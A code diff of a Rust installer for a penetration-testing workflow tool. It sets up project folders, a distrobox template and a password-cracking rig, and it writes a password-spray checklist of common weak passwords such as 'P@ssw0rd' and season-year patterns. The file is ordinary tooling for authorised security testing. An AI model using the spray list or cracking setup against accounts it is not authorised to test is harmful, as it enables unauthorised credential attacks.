Err(e) => {println!("Error creating tools Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if upcomming_files_path.exists() == false{
|
|
||||||
println!("upcomming project files folder does not exist creating...");
|
|
||||||
match fs::create_dir_all(upcomming_files_path){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating upcomming project files Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if upcomming_notes_path.exists() == false{
|
|
||||||
println!("upcomming project notes folder does not exist creating...");
|
|
||||||
match fs::create_dir_all(upcomming_notes_path){
|
|
||||||
Ok(_r) => (),
|
|
||||||
Err(e) => {println!("Error creating upcomming project notes Folder!: {}", e);failed = true;}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if failed{
|
|
||||||
println!("install failed, cleaning up files...");
|
|
||||||
match fs::remove_dir_all(&delete_for_cleanup){
|
|
||||||
Ok(_r) => println!("cleanup successfull, please correct previously reported errors and rerun"),
|
|
||||||
Err(e) => println!("cleanup failed!: {}\nManually delete the following folder and retry\n{}", e, delete_for_cleanup.display())
|
|
||||||
}
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
return (new_files_folder, new_notes_folder, tools_folder, upcomming_files_folder, upcomming_notes_folder);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
pub fn install(config_path: &PathBuf){
|
pub fn install(config_path: &PathBuf){
|
||||||
let mut _terminal_commands = HashMap::from([
|
let mut _terminal_commands = HashMap::from([
|
||||||
("konsole", "konsole -e !!!"),
|
("kde", "konsole -e !!!"),
|
||||||
|
("plasma", "konsole -e !!!"),
|
||||||
("gnome", "gnome-terminal -- bash !!!"),
|
("gnome", "gnome-terminal -- bash !!!"),
|
||||||
("xfce", "xfce4-terminal --execute '!!!'"),
|
("xfce", "xfce4-terminal --execute '!!!'"),
|
||||||
("alacritty", "alacritty -e !!!"),
|
("alacritty", "alacritty -e !!!"),
|
||||||
]);
|
]);
|
||||||
|
let mut folder_creation = true;
|
||||||
|
let current_projects = PathBuf::from(get_user_input("path to store your active projects?"));
|
||||||
|
let current_notes = PathBuf::from(get_user_input("path to store your active project notes?"));
|
||||||
|
let upcoming_projects = PathBuf::from(get_user_input("path to store your upcomming projects?"));
|
||||||
|
let upcoming_notes = PathBuf::from(get_user_input("path to store your upcomming project notes?"));
|
||||||
|
let tools = PathBuf::from(get_user_input("path where you store your custom tools (like from github and places)?"));
|
||||||
|
let mut vault_name = String::new();
|
||||||
|
let folders = vec![¤t_projects, ¤t_notes, &upcoming_projects, &upcoming_notes, &tools];
|
||||||
let mut config_folder_path: PathBuf = config_path.clone();
|
let mut config_folder_path: PathBuf = config_path.clone();
|
||||||
config_folder_path.pop();
|
config_folder_path.pop();
|
||||||
|
let mut password_path = config_folder_path.clone();
|
||||||
|
password_path.push("password_spray.md");
|
||||||
let mut projects_conf_path = config_folder_path.clone();
|
let mut projects_conf_path = config_folder_path.clone();
|
||||||
let mut bell_file_path = config_folder_path.clone();
|
let mut bell_file_path = config_folder_path.clone();
|
||||||
let del_on_fail = config_folder_path.clone();
|
let del_on_fail = config_folder_path.clone();
|
||||||
projects_conf_path.push("projects.conf");
|
projects_conf_path.push("projects.conf");
|
||||||
fs::create_dir_all(&config_folder_path).expect("error creating config dir");
|
create_dir_all(&config_folder_path).expect("error creating config dir");
|
||||||
bell_file_path.push("bell.mp3");
|
bell_file_path.push("bell.mp3");
|
||||||
let bell_sound_url = "https://github.com/Pyro57000/pentest_tool/raw/refs/heads/main/resources/bell.mp3";
|
let bell_sound_url = "https://github.com/Pyro57000/pentest_tool/raw/refs/heads/main/resources/bell.mp3";
|
||||||
let response = get(bell_sound_url).unwrap();
|
let response = get(bell_sound_url).unwrap();
|
||||||
@@ -132,104 +47,259 @@ pub fn install(config_path: &PathBuf){
|
|||||||
let mut bell_file = File::create(bell_file_path).unwrap();
|
let mut bell_file = File::create(bell_file_path).unwrap();
|
||||||
copy(&mut response.take(response_length), &mut bell_file).unwrap();
|
copy(&mut response.take(response_length), &mut bell_file).unwrap();
|
||||||
println!("bell notification tone sucessfully downloaded!");
|
println!("bell notification tone sucessfully downloaded!");
|
||||||
let mut config_file = fs::File::create(config_path).expect("error creating file");
|
println!("creating new folders if needed...");
|
||||||
let mut projects_conf_file = fs::File::create(projects_conf_path).expect("error creating projects config file");
|
for folder in &folders{
|
||||||
projects_conf_file.write_all(b"customer:name:notes:files:active:box_name\n").expect("error writing default project info");
|
if !Path::exists(folder){
|
||||||
let mut terminal_response = String::new();
|
let create_res = create_dir_all(folder);
|
||||||
let mut template_name = String::new();
|
if create_res.is_err(){
|
||||||
let mut have_template = String::new();
|
let error = create_res.err().unwrap();
|
||||||
println!("terminal you use? (example: konsole, xfce, gnome, etc)");
|
println!("{}{}","error creating folder ".red(), folder.display().to_string().red());
|
||||||
std::io::stdin().read_line(&mut terminal_response).unwrap();
|
println!("{}", error.to_string().red());
|
||||||
let mut _terminal_command = String::new();
|
println!("you'll need to create this manually after the install is done!");
|
||||||
if terminal_response.contains("konsole"){
|
folder_creation = false;
|
||||||
let mut response_buffer = String::new();
|
}
|
||||||
println!("do you already have a custom profile setup?");
|
}
|
||||||
println!("this is pretty specific to pyro's setup, I do some special sauce for my konsole stuff");
|
}
|
||||||
std::io::stdin().read_line(&mut response_buffer).unwrap();
|
let tool_volume = format!("{}:/tools:rw", &tools.display());
|
||||||
if response_buffer.to_lowercase().contains("y"){
|
println!("sweet, now let's get some distrobox stuff out of the way!");
|
||||||
let mut profile = String::new();
|
let distrobox_run_res = Command::new("distrobox").arg("list").arg("--root").output();
|
||||||
println!("konsole profile name?");
|
if distrobox_run_res.is_err(){
|
||||||
std::io::stdin().read_line(&mut profile).unwrap();
|
let error = distrobox_run_res.err().unwrap();
|
||||||
_terminal_command = format!("konsole --profile {}", profile);
|
println!("{}","Distrobox file was not found!".red());
|
||||||
|
println!("{}","This usually means that distrobox is not installed.".red());
|
||||||
|
println!("{}","please install distrobox, if you're on kali run `sudo apt install distrobox`".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
println!("{}","this project heavily relies on distrobox, as its primarily a distrobox mangement tool.".red());
|
||||||
|
println!("{}","cleaning up up configuration folders, please install distrobox and re-run this program.".red());
|
||||||
|
let cleanup = remove_dir_all(&del_on_fail);
|
||||||
|
if cleanup.is_err(){
|
||||||
|
println!("error cleaning up configuration folder!");
|
||||||
|
println!("please manually delete {} before re-running this install.", &del_on_fail.display());
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
cleanup.unwrap();
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let distrobox_output = distrobox_run_res.unwrap().stdout;
|
||||||
|
let distrobox_string = String::from_utf8_lossy(&distrobox_output);
|
||||||
|
let mut distrobox_names = Vec::new();
|
||||||
|
let distrobox_output_lines: Vec<&str> = distrobox_string.split("\n").collect();
|
||||||
|
for line in distrobox_output_lines{
|
||||||
|
if line.len() > 1{
|
||||||
|
let name = line.split(" | ").collect::<Vec<&str>>()[1];
|
||||||
|
distrobox_names.push(name.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut have_box = false;
|
||||||
|
for name in distrobox_names{
|
||||||
|
if !name.contains("NAME"){
|
||||||
|
have_box = true;
|
||||||
|
println!("{}", name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut template_box_name = String::new();
|
||||||
|
if have_box{
|
||||||
|
template_box_name = get_user_input("Name of the distrobox you want to use as a template?");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("no exiting distroboxes created!");
|
||||||
|
println!("let's make one!");
|
||||||
|
template_box_name = get_user_input("name of the distrobox you want to create?");
|
||||||
|
println!("review images listed here: https://distrobox.it/compatibility/#containers-distros");
|
||||||
|
let box_image = get_user_input("image you want to base the template box on?");
|
||||||
|
let template_box_create_res = Command::new("distrobox")
|
||||||
|
.arg("create")
|
||||||
|
.arg("--root")
|
||||||
|
.arg("--image")
|
||||||
|
.arg(&box_image)
|
||||||
|
.arg("--name")
|
||||||
|
.arg(&template_box_name)
|
||||||
|
.arg("--init")
|
||||||
|
.arg("--volume")
|
||||||
|
.arg(&tool_volume)
|
||||||
|
.status();
|
||||||
|
if template_box_create_res.is_err(){
|
||||||
|
let error = template_box_create_res.err().unwrap();
|
||||||
|
println!("{}","error creating template box!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
println!("{}","\n\n\nplese create it yourself with the following command.".red());
|
||||||
|
println!("\n\ndistrobox create --root --image {}, --name {}, --init --volume {}", &box_image, &template_box_name, &tool_volume);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
template_box_create_res.unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut cracking_rig = String::from("nobody@nothing");
|
||||||
|
let mut rockyou = String::from("n/a");
|
||||||
|
let mut rule = String::from("n/a");
|
||||||
|
let cracking_rig_response = get_user_input("do you have a separate machine to crack passwords on? (not the ambush cracking rig)");
|
||||||
|
if cracking_rig_response.to_lowercase().contains("y"){
|
||||||
|
let rig_ip = get_user_input("ip address or hostname of your cracking rig?");
|
||||||
|
let rig_user = get_user_input("username to log into your cracking rig with?");
|
||||||
|
rockyou = get_user_input("location of rockyou.txt on the cracking rig?");
|
||||||
|
rule = get_user_input("location of one rule to rule them all on the cracking rig?");
|
||||||
|
cracking_rig = format!("{}@{}", rig_user, rig_ip);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("ok free loader");
|
||||||
|
}
|
||||||
|
let fingerprint = get_user_input("will you be using fingerprint authentication for your distroboxes?").to_lowercase();
|
||||||
|
let mut terminal = String::new();
|
||||||
|
for desktop in _terminal_commands.keys(){
|
||||||
|
println!("{}", desktop);
|
||||||
|
}
|
||||||
|
let desktop_response = get_user_input("do you use any of these desktops?").to_lowercase();
|
||||||
|
if desktop_response.contains("y"){
|
||||||
|
let default_response = get_user_input("do you use the default terminal for your desktop?").to_lowercase();
|
||||||
|
if default_response.contains("y"){
|
||||||
|
let de = get_user_input("which desktop do you use?");
|
||||||
|
terminal = _terminal_commands[&de.as_str()].to_owned();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
_terminal_command = _terminal_commands[terminal_response.trim_end()].to_owned();
|
println!("OK, then please enter the command you'd use to launch a new terminal and run a command inside of it, replacing the command with three !s");
|
||||||
|
println!("for example for konsole you'd enter");
|
||||||
|
println!("konsole -e !!!");
|
||||||
|
terminal = get_user_input("");
|
||||||
}
|
}
|
||||||
let (files_response, notes_response, tools_response, project_folder_path, project_note_path) = setup_folders(&config_path);
|
if terminal.contains("konsole"){
|
||||||
print!("
|
println!("do you use a specific profile for your attack boxes?");
|
||||||
This tool is mainly to handle distrobox creation and usage.
|
println!("this is pretty specific to Pyro's setup, so you probably don't");
|
||||||
It's expecting you to have a distrobox that you will use as a template.
|
if get_user_input("").to_lowercase().contains("y"){
|
||||||
Do you have a distrobox set up to function as your template for all new projects?
|
let profile_name = get_user_input("what is the name of your profile?");
|
||||||
");
|
terminal = format!("konsole --profile {}", profile_name);
|
||||||
std::io::stdin().read_line(&mut have_template).unwrap();
|
}
|
||||||
if have_template.contains("n"){
|
}
|
||||||
println!("please set up a distrobox with root as a template and re-run this tool");
|
println!("many of the fuctions of this tool assume you're using obsidian or some other markdown editor for note taking");
|
||||||
println!("example distrobox setup command:");
|
let obsidian_used = get_user_input("do you use obsidian for your notes?");
|
||||||
println!("distrobox create --root --image archlinux --name template");
|
if obsidian_used.to_lowercase().contains("y"){
|
||||||
println!("then enter that distrobox and install all the tools you want and do what ever setup you need");
|
vault_name = get_user_input("the name of the vault you're going to use?");
|
||||||
println!("and re-run this tool.");
|
}
|
||||||
process::Command::new("rm").arg(del_on_fail).spawn().expect("ERROR deleting config folder, please manually clean up");
|
let configuration_string = format!("
|
||||||
std::process::exit(1);
|
Project_files:{}
|
||||||
|
Project_notes:{}
|
||||||
|
tools_folder:{}
|
||||||
|
upcoming_files:{}
|
||||||
|
upcoming_notes:{}
|
||||||
|
box_template:{}
|
||||||
|
terminal:{}
|
||||||
|
cracking_rig:{}
|
||||||
|
rockyou_location:{}
|
||||||
|
rule_location:{}
|
||||||
|
pass_file:{}
|
||||||
|
fingerprint:{}
|
||||||
|
vault_name:{}"
|
||||||
|
, ¤t_projects.display(), ¤t_notes.display(), &tools.display(), &upcoming_projects.display(), &upcoming_notes.display(), &template_box_name, &terminal, cracking_rig, rockyou, rule, &password_path.display(), fingerprint, &vault_name);
|
||||||
|
println!("cool everything, all folders and settings have been entered, now let's save this to a config file...");
|
||||||
|
thread::sleep(Duration::from_secs(3));
|
||||||
|
let mut config_file_res = File::create_new(config_path);
|
||||||
|
if config_file_res.is_err(){
|
||||||
|
println!("ooof error creating configuration file...");
|
||||||
|
println!("try creating it manually.");
|
||||||
|
println!("copy the following configuration and save it to {}", config_path.display());
|
||||||
|
print!("{}\n", configuration_string);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let mut config_file = config_file_res.unwrap();
|
||||||
|
let config_write_res =write!(config_file, "{}", &configuration_string);
|
||||||
|
if config_write_res.is_err(){
|
||||||
|
println!("error writing configuration string to the configuration file!");
|
||||||
|
println!(" try creating it manually.");
|
||||||
|
println!("copy the following configuration and save it to {}", &configuration_string);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
config_write_res.unwrap();
|
||||||
|
println!("nice the configuration file was written correctly!");
|
||||||
|
println!("creating project configuration file, and poplulating it with the default project...");
|
||||||
|
let project_conf_res = File::create_new(&projects_conf_path);
|
||||||
|
if project_conf_res.is_err(){
|
||||||
|
let error = project_conf_res.err().unwrap();
|
||||||
|
println!("{}","ooof error creating the projects configuration file.".red());
|
||||||
|
println!("{}","try creating it manually!".red());
|
||||||
|
println!("copy the following configuration and save it to {}", &projects_conf_path.display());
|
||||||
|
println!("customer:name:notes:files:active:time:box_name:stage");
|
||||||
|
println!("default:default:{}:{}:yes:{}:current", ¤t_notes.display(), ¤t_projects.display(), &template_box_name);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let mut project_conf_file = project_conf_res.unwrap();
|
||||||
|
let project_write_res = write!(project_conf_file, "Projects Config File\ndefault:default:{}:{}:yes:{}:current", ¤t_notes.display(), ¤t_projects.display(), &template_box_name);
|
||||||
|
if project_write_res.is_err(){
|
||||||
|
println!("error writing project config file.");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
project_write_res.unwrap();
|
||||||
|
let password_file_res = File::create_new(password_path);
|
||||||
|
if password_file_res.is_err(){
|
||||||
|
println!("error creating password spray file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
let mut password_file = password_file_res.unwrap();
|
||||||
|
let password_write_res = write!(password_file, "
|
||||||
|
- [ ] useraspass
|
||||||
|
- [ ] Seasonyear!
|
||||||
|
- [ ] Service123!
|
||||||
|
- [ ] admin
|
||||||
|
- [ ] Admin
|
||||||
|
- [ ] Admin123!
|
||||||
|
- [ ] admin123
|
||||||
|
- [ ] admin1
|
||||||
|
- [ ] 1234567
|
||||||
|
- [ ] Seasonyear
|
||||||
|
- [ ] seasonyear!
|
||||||
|
- [ ] seasonyear
|
||||||
|
- [ ] COMPANYYEAR!
|
||||||
|
- [ ] COMPANYYEAR
|
||||||
|
- [ ] November2024!
|
||||||
|
- [ ] September2024!
|
||||||
|
- [ ] October2024!
|
||||||
|
- [ ] COMPANYfoundingyear!
|
||||||
|
- [ ] COMPANYfoundingyear
|
||||||
|
- [ ] COMPANYstreetnumber!
|
||||||
|
- [ ] COMPANYstreetnumber
|
||||||
|
- [ ] Password
|
||||||
|
- [ ] P@ssw0rd
|
||||||
|
- [ ] Password1!
|
||||||
|
- [ ] Password123!
|
||||||
|
- [ ] Passwordyear!
|
||||||
|
- [ ] P@55w0rd
|
||||||
|
- [ ] Service
|
||||||
|
- [ ] Service!
|
||||||
|
- [ ] Serviceyear!
|
||||||
|
");
|
||||||
|
if password_write_res.is_err(){
|
||||||
|
println!("error writing password file");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
password_write_res.unwrap();
|
||||||
|
let current_path_res = env::current_exe();
|
||||||
|
let mut copied_to_path = false;
|
||||||
|
if current_path_res.is_ok(){
|
||||||
|
let current_path = current_path_res.unwrap();
|
||||||
|
let mut new_path = PathBuf::from("/usr/bin/pentest_tool");
|
||||||
|
print_informational("We ar going to try and copy this executable to a location on your $PATH");
|
||||||
|
print_informational("the default location is /usr/bin/pentest_tool");
|
||||||
|
if get_user_input("is this ok?").contains("n"){
|
||||||
|
new_path.clear();
|
||||||
|
new_path.push(get_user_input("ooof, ok. Please enter where you'd like to save it on your $PATH"));
|
||||||
|
if !new_path.display().to_string().contains("pentest_tool"){
|
||||||
|
new_path.push("pentest_tool");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let copy_cmd_res = Command::new("sudo").arg("cp").arg(current_path.display().to_string()).arg(new_path.display().to_string()).status();
|
||||||
|
if copy_cmd_res.is_ok(){
|
||||||
|
let copy_cmd_status = copy_cmd_res.unwrap();
|
||||||
|
if copy_cmd_status.success(){
|
||||||
|
copied_to_path = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !copied_to_path{
|
||||||
|
print_informational("we could not copy this executable to your path!");
|
||||||
|
print_informational("please copy this file to somewhere on your $PATH.");
|
||||||
|
print_informational("for example `cp pentest_tool /usr/bin/pentest_tool");
|
||||||
|
print_success("otherwise this tool is ready to go, you would just need to launch it from this folder.");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_success("install completed successfully!");
|
||||||
}
|
}
|
||||||
let _list = process::Command::new("distrobox").arg("list").arg("--root").status();
|
|
||||||
println!("distrobox template name?");
|
|
||||||
std::io::stdin().read_line(&mut template_name).unwrap();
|
|
||||||
let config_string = format!("Project_files:{}\nProject_notes:{}\ntools_folder:{}\nbox_template:{}\nterminal:{}", files_response.trim_end(), notes_response.trim_end(), tools_response.trim_end(),template_name.trim_end(), _terminal_command.trim_end());
|
|
||||||
config_file.write_all(config_string.as_bytes()).expect("error writing to config file");
|
|
||||||
let default_projectline = format!("default:default:{}:{}:yes:{}", ¬es_response.trim_end(), &files_response.trim_end(), &template_name.trim_end());
|
|
||||||
projects_conf_file.write_all(default_projectline.as_bytes()).expect("error writing default project line");
|
|
||||||
println!("active project folders: {}", &files_response);
|
|
||||||
println!("upcomming project folders: {}", &project_folder_path);
|
|
||||||
println!("active project notes: {}", ¬es_response);
|
|
||||||
println!("upcomming prjoect notes: {}", &project_note_path);
|
|
||||||
println!("tools folder: {}", &tools_response);
|
|
||||||
println!("distrobox template: {}", &template_name);
|
|
||||||
println!("terminal command: {}", &_terminal_command);
|
|
||||||
println!("config file generated and saved to {}\n", config_path.display());
|
|
||||||
|
|
||||||
|
|
||||||
let config_path = &config_folder_path.clone();
|
|
||||||
let mut install_path = config_path.clone();
|
|
||||||
let mut password_spray_template_path = install_path.clone();
|
|
||||||
install_path.push("new_projects.conf");
|
|
||||||
password_spray_template_path.push("passwordspray.md");
|
|
||||||
let password_spray_template_path = install_path.clone();
|
|
||||||
let mut conf_file = fs::File::create(install_path).expect("error creating config file");
|
|
||||||
write!(conf_file, "project_folder_path:{}
|
|
||||||
project_notes_path:{}
|
|
||||||
", project_folder_path.trim_end(), project_note_path.trim_end()).expect("error writing config file");
|
|
||||||
let mut passpray_file = fs::File::create(password_spray_template_path).expect("error creating passwordspray file");
|
|
||||||
write!(passpray_file, "
|
|
||||||
- [ ] useraspass
|
|
||||||
- [ ] Seasonyear!
|
|
||||||
- [ ] Service123!
|
|
||||||
- [ ] admin
|
|
||||||
- [ ] Admin
|
|
||||||
- [ ] Admin123!
|
|
||||||
- [ ] admin123
|
|
||||||
- [ ] admin1
|
|
||||||
- [ ] 1234567
|
|
||||||
- [ ] Seasonyear
|
|
||||||
- [ ] seasonyear!
|
|
||||||
- [ ] seasonyear
|
|
||||||
- [ ] COMPANYYEAR!
|
|
||||||
- [ ] COMPANYYEAR
|
|
||||||
- [ ] November2024!
|
|
||||||
- [ ] September2024!
|
|
||||||
- [ ] October2024!
|
|
||||||
- [ ] COMPANYfoundingyear!
|
|
||||||
- [ ] COMPANYfoundingyear
|
|
||||||
- [ ] COMPANYstreetnumber!
|
|
||||||
- [ ] COMPANYstreetnumber
|
|
||||||
- [ ] Password
|
|
||||||
- [ ] P@ssw0rd
|
|
||||||
- [ ] Password1!
|
|
||||||
- [ ] Password123!
|
|
||||||
- [ ] Passwordyear!
|
|
||||||
- [ ] P@55w0rd
|
|
||||||
- [ ] Service
|
|
||||||
- [ ] Service!
|
|
||||||
- [ ] Serviceyear!").expect("error writing password spray template");
|
|
||||||
std::process::exit(0);
|
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,9 @@
|
|||||||
use std::path::PathBuf;
|
use std::collections::HashMap;
|
||||||
|
use std::{io::stdin, path::PathBuf, process::Command};
|
||||||
use directories::UserDirs;
|
use directories::UserDirs;
|
||||||
use std::fs;
|
use std::process::exit;
|
||||||
|
use std::fs::{self, File};
|
||||||
|
use colored::Colorize;
|
||||||
|
|
||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
pub struct Project{
|
pub struct Project{
|
||||||
@@ -10,19 +13,173 @@ pub struct Project{
|
|||||||
pub files_folder: PathBuf,
|
pub files_folder: PathBuf,
|
||||||
pub active: bool,
|
pub active: bool,
|
||||||
pub boxname: String,
|
pub boxname: String,
|
||||||
|
pub stage: String,
|
||||||
pub id: i32,
|
pub id: i32,
|
||||||
}
|
}
|
||||||
|
|
||||||
mod install;
|
mod install;
|
||||||
mod menu;
|
|
||||||
mod project_controls;
|
mod project_controls;
|
||||||
mod box_controls;
|
mod box_controls;
|
||||||
mod info_controls;
|
mod info_controls;
|
||||||
mod start_pentest;
|
mod start_pentest;
|
||||||
|
mod cli;
|
||||||
|
mod menu;
|
||||||
|
mod portscan_controls;
|
||||||
|
mod victim_commands;
|
||||||
|
mod enumeration;
|
||||||
|
mod tool_controls;
|
||||||
|
mod configuration;
|
||||||
|
mod exploit;
|
||||||
|
|
||||||
|
pub fn print_error(message: &str ,error: String){
|
||||||
|
println!("{}", message.red());
|
||||||
|
println!("{}", error.red());
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn print_success<T>(message: T) where T: AsRef<str> {
|
||||||
|
println!("{}", message.as_ref().green());
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn print_informational<T>(message: T) where T: AsRef<str>{
|
||||||
|
println!("{}", message.as_ref().custom_color((255,165,0)));
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn tableize(given_lines: Vec<String>) {
|
||||||
|
let column_count = given_lines[0].split("||").collect::<Vec<&str>>().len();
|
||||||
|
// the following code just adds a junk line in at index 1 because that gets eaten for some reason...
|
||||||
|
// I want to try to figure out why its getten eaten, but just needed to get it working for now.
|
||||||
|
let mut lines = Vec::new();
|
||||||
|
let mut junk_line = format!("{}", "junk||".repeat(column_count));
|
||||||
|
junk_line.pop();
|
||||||
|
junk_line.pop();
|
||||||
|
for line in given_lines{
|
||||||
|
lines.push(line);
|
||||||
|
}
|
||||||
|
lines.insert(1,junk_line);
|
||||||
|
// end of junk line logic.
|
||||||
|
let (terminal_width, _terminal_height) = term_size::dimensions().unwrap();
|
||||||
|
let mut column_sizes:HashMap<usize, usize> = HashMap::new();
|
||||||
|
for column_number in 0..column_count{
|
||||||
|
column_sizes.insert(column_number, 0);
|
||||||
|
}
|
||||||
|
let mut longest_column = 0;
|
||||||
|
for line in &lines{
|
||||||
|
let cells: Vec<&str> = line.split("||").collect();
|
||||||
|
let mut current_cell: usize = 0;
|
||||||
|
for cell in cells{
|
||||||
|
let cell_length = cell.len() + 2;
|
||||||
|
if column_sizes[¤t_cell] < cell_length{
|
||||||
|
column_sizes.insert(current_cell, cell_length);
|
||||||
|
}
|
||||||
|
if cell_length > longest_column{
|
||||||
|
longest_column = current_cell;
|
||||||
|
}
|
||||||
|
current_cell += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
let longest_line = (column_count*2) - 1;
|
||||||
|
if longest_line > terminal_width{
|
||||||
|
let difference = longest_line - terminal_width - 3;
|
||||||
|
column_sizes.insert(longest_column, column_sizes[&longest_column] - difference);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut header = String::new();
|
||||||
|
let mut outdata = String::new();
|
||||||
|
let mut count = 0;
|
||||||
|
let mut separater = String::new();
|
||||||
|
let ending = format!("{}\n", "|".green());
|
||||||
|
for line in lines{
|
||||||
|
count += 1;
|
||||||
|
//println!("{}", line);
|
||||||
|
let mut add_ending = false;
|
||||||
|
let data_vec: Vec<&str> = line.split("||").collect();
|
||||||
|
let mut column_numbers: Vec<&usize> = column_sizes.keys().collect();
|
||||||
|
column_numbers.sort_by(|a, b| a.cmp(b));
|
||||||
|
for column in column_numbers{
|
||||||
|
let mut data_to_add = String::new();
|
||||||
|
let mut data_vec_len = data_vec[*column].len();
|
||||||
|
if data_vec_len > column_sizes[&longest_column]{
|
||||||
|
while data_vec_len > column_sizes[&longest_column]{
|
||||||
|
data_vec_len = data_vec_len / 2;
|
||||||
|
let (data_vec_start, data_vec_end) = data_vec[*column].split_at(data_vec_len);
|
||||||
|
data_to_add = format!("{}\n{}", data_vec_start, data_vec_end);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
data_to_add = String::from(data_vec[*column]);
|
||||||
|
}
|
||||||
|
let padding = column_sizes[column] - data_vec_len;
|
||||||
|
if count == 1{
|
||||||
|
let formatted_cell = format!("{} {}{}", "|".green(), data_vec[*column].bold().green(), " ".repeat(padding));
|
||||||
|
header.push_str(&formatted_cell);
|
||||||
|
}
|
||||||
|
else if count == 2 {
|
||||||
|
let formatted_cell = format!("{} {} ", "|".green(), "-".repeat(column_sizes[column] - 1).green());
|
||||||
|
separater.push_str(&formatted_cell);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
let formatted_cell = format!("{} {}{}", "|".green(), data_to_add, " ".repeat(padding));
|
||||||
|
outdata.push_str(&formatted_cell);
|
||||||
|
add_ending = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if add_ending{
|
||||||
|
outdata.push_str(&ending)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outdata.push_str(&separater);
|
||||||
|
outdata.push_str(&ending);
|
||||||
|
let print_output = format!("{}{}{}{}{}", header, ending, separater, ending, outdata);
|
||||||
|
println!("{}", print_output);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn open_overwrite(path: &PathBuf) -> Option<File>{
|
||||||
|
let file_create_res = fs::OpenOptions::new().create(true).write(true).truncate(true).open(path);
|
||||||
|
if file_create_res.is_err(){
|
||||||
|
let error = file_create_res.err().unwrap();
|
||||||
|
println!("{} {} {}","error opening".red(), path.display().to_string().red(), " file".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
let file = file_create_res.unwrap();
|
||||||
|
return Some(file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn open_append(path: &PathBuf) -> Option<File>{
|
||||||
|
let file_create_res = fs::OpenOptions::new().create(true).append(true).open(path);
|
||||||
|
if file_create_res.is_err(){
|
||||||
|
let error = file_create_res.err().unwrap();
|
||||||
|
println!("{} {} {}","error opening".red(), path.display().to_string().red(), " file".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
let file = file_create_res.unwrap();
|
||||||
|
return Some(file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_user_input(prompt: &str) -> String{
|
||||||
|
let mut response = String::new();
|
||||||
|
loop{
|
||||||
|
println!("{}", prompt);
|
||||||
|
let result = stdin().read_line(&mut response);
|
||||||
|
if result.is_err(){
|
||||||
|
println!("we need input here dummy! try again...");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
result.unwrap();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return response.trim_end().to_owned();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
print!("
|
print!("{}","
|
||||||
⠀⠀⠀⣠⠶⠚⠛⠛⠛⠲⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⣠⠶⠚⠛⠛⠛⠲⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
⠀⣠⣾⣷⣄⠀⠀⠀⢀⣠⣤⣤⡀⠀⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
⠀⣠⣾⣷⣄⠀⠀⠀⢀⣠⣤⣤⡀⠀⢿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||||
@@ -41,45 +198,41 @@ fn main() {
|
|||||||
⠀⠀⠀⠀⣀⡀⠀⣰⠇⣾⠀⠀⠈⣩⣥⣄⣿⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
